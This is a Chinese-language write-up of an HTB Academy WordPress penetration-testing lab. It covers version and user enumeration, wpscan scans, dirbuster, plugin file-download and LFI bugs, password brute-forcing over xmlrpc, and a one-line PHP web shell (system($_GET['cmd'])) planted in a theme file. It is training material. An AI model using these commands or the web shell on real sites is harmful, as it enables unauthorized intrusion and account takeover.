HTB ACADEMY-Hacking WordPress WRITE UP

发布时间 2023-05-24 17:29:06作者: darkpool

You have been contracted to perform an external penetration test against the company INLANEFREIGHT that is hosting one of their main public-facing websites on WordPress.
Enumerate the target thoroughly using the skills learned in this module to find a variety of flags. Obtain shell access to the webserver to find the final flag.

准备工作

  • 基本信息
  1. 操作对象:Vmware Station(Kali-Linux)
  2. 目标实例对象:10.129.72.202

第一个问题

Identify the WordPress version number.

首先,我们需要知道目标机器运行的WordPress版本号,通常版本号的信息都放在blog页面,但我们如果直接点击blog页面是无法打开的(DNS解析存在错误),我们需要将blog页面的域名加入到本地hosts文件内。

sudo sh -c ‘echo “10.129.72.202 inlanefreight.local” >> /etc/hosts’

image

这时我们浏览器再次访问blog页面就可以正常显示了。于是我们查看下blog页面的源代码。简单搜索一下关键词就能找到WordPress版本号。

image

image

答案:5.1.6

第二个问题

Identify the WordPress theme in use.

这个没什么好说的,查看WordPress用的主题名称,直接在源代码简单搜索就能找到。

image

答案:twentynineteen

第三个问题

Submit the contents of the flag file in the directory with directory listing enabled.

枚举一下当前页面用的插件有哪些,可以看到有三个分别是:the-events-calendar,email-subscribers,site-editor。我们可以在浏览器里去挨个查看目录文件。但是因为可以查看到的文件太多了,找flag跟大海捞针一样,而且我把三个插件的文件夹几乎都翻了一遍也没有找到flag文件的影子。

 curl -s -X GET http://blog.inlanefreight.local | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

image

image

所以我后来使用了dirbuster工具(当然也可以使用其他模糊测试的工具),别的也不想要就想找到flag,所以我把名称字典框死在“flag”上,让它跑得稍微快一点。

dirbuster

image

image

不久后我们就可以看到flag位于/wp-content/uploads/upload_flag.txt,在浏览器可以直接查看内容。

image

image

答案:HTB{d1sabl3_d1r3ct0ry_l1st1ng!}

第四个问题

Identify the only non-admin WordPress user.

一开始看到这个问题我想的是去?author=1不断尝试有哪些用户,但我这样只枚举出两个用户,一个是admin,另一个是erika,但这两个用户名称都不符合问题的格式要求。

image

image

image

所以,我直接用WPSCAN进行扫描(如果没有WPSCAN API TOKEN的话需要去WPSCAN官网注册后申请)。扫完就发现还有另外一个用户。

wpscan --url http://blog.inlanefreight.local --enumerate --api-token XXX

image

image

答案:Charlie Wiggins

第五个问题

Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

问题提示说利用插件漏洞实现无身份认证的文件下载,我们查看下WPSCAN扫描结果的报告,然后打开相关链接详细了解漏洞利用方式和作用。其中有一个能够实现此目的。

image

image

image

我们按照链接提供的方式就能获取到flag。

image

答案:HTB{unauTh_d0wn10ad!}

第六个问题

What is the version number of the plugin vulnerable to an LFI?

还是查看WPSCAN报告就能找到答案。

image

答案:1.1.1

第七个问题

Use the LFI to identify a system user whose name starts with the letter "f".

和上面第六个问题是连续的,打开LFI相关漏洞链接,链接内告诉我们利用的方式。

image

image

我们按照链接所给方法,可以看到系统用户列表,其中只有一个是以字母“f”开头的。

image

答案:frank.mclane

第八个问题

Obtain a shell on the system and submit the contents of the flag in the /home/erika directory.

想找到该flag,意味着我们至少要有erika用户的权限。我们使用WPSCAN对erika用户的密码进行暴力破解(这里使用了rockyou.txt字典)。

wpscan --password-attack xmlrpc -t 20 -U erika -P /home/yangchen/桌面/rockyou.txt --url http://blog.inlanefreight.local

image

很快,不到一分钟我们就得到了erika用户的密码(erika/010203),这简直不要太顺利。然后我本想直接使用msfconsole在目标机器运行反向shell然后就成了,但是msfconsole不知道因为何种缘故自动渗透失败了,所以我只好手动去后台修改主题编辑器。

image

我们登录到WordPress后台管理系统,然后修改twentyseventeen主题下的404.php,增加一行cmd命令。
这里需要注意的是,WordPress 4.9版本之后有一个非常致命的BUG,导致修改PHP文件不成功。社区上存在很多解决方法,相关链接1相关链接2相关链接3。无一例外的是都指向一条判断语句if( $is_active && ‘php’ === $extension ),所以解决的思路也非常简单,我们只需要修改当前非活跃的主题的PHP文件,修改完成后再激活该主题即可。

system($_GET['cmd']);

image

image

修改页面成功后我们查看下当前用户id为www-data。

curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=id"

image

虽然id命令运行得非常正常,但是当我们换成其他命令后,目标机器返回给我们不认识该指令。

image

出现该错误的原因是编码格式问题,即需要将传参转化为URL编码格式。于是我找了一个在线URL编码解码的网站,将需要的命令进行转化然后拿到了flag。

image

image

答案:HTB{w0rdPr355_4SS3ssm3n7}